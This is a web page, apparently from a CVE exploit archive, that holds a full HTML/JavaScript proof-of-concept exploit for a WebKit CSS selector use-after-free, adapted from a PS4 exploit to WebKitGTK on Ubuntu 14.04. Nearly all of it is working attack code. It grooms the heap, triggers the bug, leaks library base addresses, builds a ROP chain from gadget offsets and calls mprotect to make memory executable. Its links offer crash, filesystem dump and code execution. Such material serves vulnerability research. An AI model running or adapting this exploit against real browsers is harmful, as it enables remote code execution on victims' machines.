4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.html HTML
<html>
<style>html, a1,a2,a3,a4,a5,a6 em:nth-child(5){
    height: 500px
}
</style>

<script>
/*
 * Author: Ren Kimura (@RKX1209)
 * Tested to work on up to date Ubuntu 14.04.
 * NOTE: Original PS4 exploit is here.
 *       https://github.com/Fire30/PS4-2014-1303-POC
 */
var shui = new Array(0x1000);
var inputs = new Array(0x500);
var arraybufferviews = new Array(0x500);
var corrupted = undefined;
var u32;
var cbuf;
var payload_addr_low = 0x100000, payload_addr_high = 0, payload_size = 0x1000;

var rop_chain = [];

var js_core_base_addr;
var webkitgtk_base_addr;
var webkitgtk_data_addr;
var libc_base_addr;
var bss_addr;

var js_core_base_addr_low, js_core_base_addr_high;
var webkitgtk_base_addr_low, webkitgtk_base_addr_high;
var webkitgtk_data_addr_low, webkitgtk_data_addr_high;
var libc_base_addr_low, libc_base_addr_high;
var bss_addr_low, bss_addr_high;

function load() {
  // Align the memory how we want it
  for(var i = 0; i < shui.length;i+=2)
  {
      inputs[i/2] =  document.createElement("input");
      inputs[i/2].type = "number";
      shui[i] = new ArrayBuffer(0x40);
      shui[i + 1] = new ArrayBuffer(0x20000);
  }
  // Trigger the vulnrablity.
  var cssRules = window.getMatchedCSSRules(document.documentElement);
  cssRules[0].selectorText = 'a1,a2';
  // Free the input elements and put in our ArrayBufferView objects
  for(var i = 0; i < inputs.length;i+=1)
  {
        inputs[i].type = "";
        arraybufferviews[i] = new Uint32Array(shui[i/2]);
        // Need a value to find in memory
        arraybufferviews[i][0] = 0x77777777;
  }
  // Start the actual exploit
  setTimeout(exploit_init, 0);
}

function exploit_init()
{
  // Find the ArrayBuffer that has had it size modified
  for (var i = 0; i < shui.length; ++i) {
      if (shui[i].byteLength == 0xc0) {
          corrupted = shui[i];
          debug_log("Found corrupted index at 0x" + i.toString(16));
          console.log("Found corrupted index at 0x" + i.toString(16));
          break;
      }
  }
  // If we find nothing, crash the application.
  // Shouldn't happen based on how tcmalloc allocates memory
  if(!corrupted)
  {
    debug_log("Couldn't find corrupted element...!")
    console.log("Couldn't find corrupted element...!")
    return;
  }
  u32 = new Uint32Array(corrupted);
  // Need to find the ArrayBufferView that we have control over
  u32[0x18] += 0x10;
  for(var i = 0; i < arraybufferviews.length;i++)
  {
      tmp_array = arraybufferviews[i].subarray(0,arraybufferviews[i].length);
      if(tmp_array[0] != 0x77777777 && arraybufferviews[i].length > 0x40)
      {
        cbuf = arraybufferviews[i];
        u32[0x18] -= 0x10;
        debug_log("Found controlled arraybufferview!")
        console.log("Found controlled arraybufferview!")
        break;
      }
  }
  // Need to keep track of where the buffer is
  oldlow = u32[0x14]
  oldhigh = u32[0x15]
  // Various calculations to get the base addresses of libraries that we use gadgets for
  // Javascript is stupid and doesn't support 64bit integers so we need to use 3rd party lib
  var vtable_addr = new dcodeIO.Long(u32[0x10], u32[0x11], true)
  js_core_base_addr = vtable_addr.sub(0x3d4ff90);  //libjavascriptcoregtk.so
  webkitgtk_base_addr = js_core_base_addr.add(0x22ee000); //libwebkitgtk.so
  webkitgtk_data_addr = js_core_base_addr.add(0x3e82000); //libwebkitgtk.so  [data]
  libc_base_addr = js_core_base_addr.add(0x766000); //libc-2.19.so
  bss_addr = new dcodeIO.Long(0x607450, 0, true); // readelf -S ./Programs/GtkLauncher

  js_core_base_addr_low = js_core_base_addr.getLowBitsUnsigned()
  js_core_base_addr_high = js_core_base_addr.getHighBitsUnsigned()
  webkitgtk_base_addr_low = webkitgtk_base_addr.getLowBitsUnsigned()
  webkitgtk_base_addr_high = webkitgtk_base_addr.getHighBitsUnsigned()
  libc_base_addr_low = libc_base_addr.getLowBitsUnsigned()
  libc_base_addr_high = libc_base_addr.getHighBitsUnsigned()
  webkitgtk_data_addr_low = webkitgtk_data_addr.getLowBitsUnsigned()
  webkitgtk_data_addr_high = webkitgtk_data_addr.getHighBitsUnsigned()
  bss_addr_low = bss_addr.getLowBitsUnsigned()
  bss_addr_high = bss_addr.getHighBitsUnsigned()
  debug_log("vtable address = 0x" + vtable_addr.toString(16))
  debug_log("libjavascriptcore base address = 0x" + js_core_base_addr.toString(16))
  debug_log("webkitgtk base address = 0x" + webkitgtk_base_addr.toString(16))
  debug_log("webkitgtk data address = 0x" + webkitgtk_data_addr.toString(16))
  debug_log("libc base address = 0x" + libc_base_addr.toString(16))
  // vtable pointer to byteLength
  // The instruction pushes rax, and jmps to *rax
  // gadget: push rax; jmp qword [rax]
  cbuf[2] = webkitgtk_base_addr_low + 0x497a
  cbuf[3] = webkitgtk_base_addr_high
  // *rax is the first element in our array.
  // pop rsp then jmps to *(rax + 0x30)
  // gadget: pop rsp ; mov rax, qword [rax+0x30] ; jmp rax
  cbuf[0] = webkitgtk_base_addr_low + 0xa2cd52
  cbuf[1] = webkitgtk_base_addr_high
  // adds 0x48 to rsp
  // so stack pointer will point to cbuf[0x12]
  cbuf[0xc] = webkitgtk_base_addr_low + 0x40aefc
  cbuf[0xd] = webkitgtk_base_addr_high

  // rbp is invalid address. So, firstly changed it to valid address.
  // pop rbp ; ret
  rop_chain.push (webkitgtk_base_addr_low + 0x1f0709)
  rop_chain.push (webkitgtk_base_addr_high)
  rop_chain.push (webkitgtk_data_addr_low + 0x1000)
  rop_chain.push (webkitgtk_base_addr_high)
  debug_log("Initilization completed.")
}

function crash_rop()
{
  debug_log("Overwriting vtable and executing Crash ROP chain!")
  // Make the u32 ArrayBufferView::vtable point to our buffer(pointed by u32.m_baseAddress)
  // i.e. u32.vtable = u32.m_baseAddress (jump to buf)
  u32[0x10] = u32[0x14];
  u32[0x11] = u32[0x15];

  // Write the rop chain to the buffer
  rop_chain.push(0xdeadbeef)
  rop_chain.push(0xdeadbeef)
  inject_ropcode(rop_chain)
  // Starts execution of our rop chain (call vtable)
  cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}

function chg_perm_memory()
{
  debug_log("Changing memory permission to rwx...")
  var nr_mprotect = 10;
  //Change webkitgtk data area (rwx)
  syscall("mprotect", nr_mprotect, new dcodeIO.Long(webkitgtk_data_addr_low & ~0xFFF, webkitgtk_data_addr_high, true),
          new dcodeIO.Long(0x10, 0, true),
          new dcodeIO.Long(1 | 2 | 4, 0, true));
  //Change bss area (rwx)
  syscall("mprotect", nr_mprotect, new dcodeIO.Long(bss_addr_low & ~0xFFF, bss_addr_high, true),
          new dcodeIO.Long(0x10, 0, true),
          new dcodeIO.Long(1 | 2 | 4, 0, true));

}
function code_exec()
{
  debug_log("Execute code!");
  u32[0x10] = u32[0x14];
  u32[0x11] = u32[0x15];
  chg_perm_memory()

  // pop rax ; ret
  rop_chain.push(webkitgtk_base_addr_low + 0x72a20)
  rop_chain.push(webkitgtk_base_addr_high)
  rop_chain.push(webkitgtk_data_addr_low);
  rop_chain.push(webkitgtk_data_addr_high);

  // rax == webkitgtk data
  // jump to webkitgtk data address (rwx)
  // jmp rax ;
  rop_chain.push(webkitgtk_base_addr_low + 0x217181)
  rop_chain.push(webkitgtk_base_addr_high)

  // now, payload is loaded at bss address
  // jump to bss address (rwx)
  rop_chain.push(bss_addr_low & ~0xFFF);
  rop_chain.push(bss_addr_high);
  inject_ropcode (rop_chain)

  write_loader(webkitgtk_data_addr_low, webkitgtk_base_addr_high);

  cbuf.byteLength; // call *0x8(%rax) => firstly jump to cbuf[2]
}

</script>
<script src="/scripts/jquery.min.js"></script>
<script src="/scripts/long.js"></script>
<script src="/scripts/utils.js"></script>
<script src="/scripts/roputil.js"></script>
<script src="/scripts/syscall.js"></script>
<script src="/scripts/code.js"></script>
<a href="javascript:crash_rop()">Crash ROP</a>
<a href="javascript:get_pid()">Get PID</a>
<a href="javascript:fs_dump()">FileSystem dump</a>
<a href="javascript:code_exec()">Code Execution</a>
<iframe onload=load()>
</html>